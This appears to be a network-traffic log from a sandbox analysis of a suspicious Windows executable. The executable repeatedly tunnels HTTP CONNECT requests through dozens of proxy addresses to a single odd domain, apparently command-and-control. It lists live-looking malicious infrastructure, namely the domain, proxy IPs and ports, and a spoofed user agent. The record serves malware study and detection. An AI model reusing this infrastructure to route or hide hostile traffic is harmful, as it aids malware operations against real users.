Mar 11, 2024 16:42:31.868151903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.032433987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.106966019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.109730005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.172827005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1753	192.168.2.11	53749	67.201.59.70	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.878525972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1754	192.168.2.11	53268	198.49.68.80	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.887319088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.757179976 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:34 GMT Server: Apache Content-Length: 663 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 64 66 67 68 68 73 64 66 67 68 40 61 73 64 66 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at dfghhsdfgh@asdf.com to inform them of the time this e
Mar 11, 2024 16:42:34.757328033 CET	303	IN	Data Raw: 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 Data Ascii: rror occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1755	192.168.2.11	52974	111.20.217.178	9091	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.890552998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.387828112 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 15:41:51 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1756	192.168.2.11	53264	182.53.216.4	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.891204119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1757	192.168.2.11	55064	72.195.101.99	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.897030115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1758	192.168.2.11	53299	160.153.245.187	59786	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.908806086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.032552958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.106998920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1759	192.168.2.11	55076	80.51.7.66	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.934628010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1760	192.168.2.11	53467	91.134.140.160	9141	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.934722900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.032551050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.107002974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1761	192.168.2.11	55090	185.236.46.221	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.935112000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1762	192.168.2.11	53374	197.246.10.149	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.935112953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.985610962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.985693932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.985444069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.079164028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.079046965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:20.079097986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:44.081322908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:32.079071045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1763	192.168.2.11	55125	119.18.149.34	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.941325903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1764	192.168.2.11	53469	208.102.51.6	58208	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.941904068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1765	192.168.2.11	53562	189.240.60.168	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.942403078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.992923021 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1766	192.168.2.11	55114	103.97.179.115	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.944492102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1767	192.168.2.11	53520	194.163.129.90	43076	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.950439930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.032612085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.107002974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1768	192.168.2.11	53505	140.238.198.171	4455	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.950886965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.032582045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.107090950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.231813908 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1769	192.168.2.11	53526	162.214.225.223	37581	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.951791048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.985625982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.987571955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.985492945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1770	192.168.2.11	53581	162.214.90.49	51918	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.952095032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.985641003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.985699892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.985474110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.079137087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.079097033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:20.081348896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:44.081320047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:32.078969002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1771	192.168.2.11	53654	164.92.86.113	63358	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.962121010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.032653093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.107088089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.109726906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
